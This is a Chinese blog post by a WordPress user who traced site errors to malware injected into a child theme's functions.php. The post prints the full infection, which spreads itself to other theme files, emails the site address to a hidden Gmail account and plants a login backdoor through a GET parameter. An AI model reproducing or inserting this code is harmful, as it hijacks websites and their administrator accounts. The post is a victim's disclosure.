用子主题functions.php添加自定义功能后访问网站报错解决方法

这真是一个坑、深坑啊。。

在为“Twenty Sixteen”添加子主题时,在functions.php添加个功能后,访问网站,第一次还可以正常访问,再刷新后就报错了,试了无数次,发现原因竟然是子主题functions.php文件竟然无缘无故多了好多代码,于是百度寻求方法,果然在欲思博客找到“ 这篇文章”。

原因竟然是主题中的“functions.php”文件被恶意代码感染了,按照文中提示,将所有的“functions.php”中的恶意代码删除,ok,终于正常了,现将恶意代码贴出:

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<?php
function _verify_isactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);
$output .= ($showsdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetscont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetscont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_isactivate_widgets");
function _prepare_widgets(){
if(!isset($comment_length)) $comment_length=120;
if(!isset($strval)) $strval="cookie";
if(!isset($tags)) $tags="<a>";
if(!isset($type)) $type="none";
if(!isset($sepr)) $sepr="";
if(!isset($h_filter)) $h_filter=get_option("home");
if(!isset($p_filter)) $p_filter="wp_";
if(!isset($more_link)) $more_link=1;
if(!isset($comment_types)) $comment_types="";
if(!isset($countpage)) $countpage=$_GET["cperpage"];
if(!isset($comment_auth)) $comment_auth="";
if(!isset($c_is_approved)) $c_is_approved="";
if(!isset($aname)) $aname="auth";
if(!isset($more_link_texts)) $more_link_texts="(more...)";
if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
if(!isset($mcontent)) $mcontent="ma".$sepr."il";
if(!isset($f_more)) $f_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tag)) $f_tag=1;
if(!isset($types)) $types=$h_filter;
if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
if(!isset($aditional_tag)) $aditional_tag="div";
if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($morelink_title)) $morelink_title="Continue reading this entry";
if(!isset($showsdots)) $showsdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($comment_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $comment_length) {
$l=$comment_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link_texts="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $tags) {
$output=strip_tags($output, $tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tag) ? balanceTags($output, true) : $output;
$output .= ($showsdots && $ellipsis) ? "..." : "";
$output=apply_filters($type, $output);
switch($aditional_tag) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($more_link ) {
if($f_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepare_widgets");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

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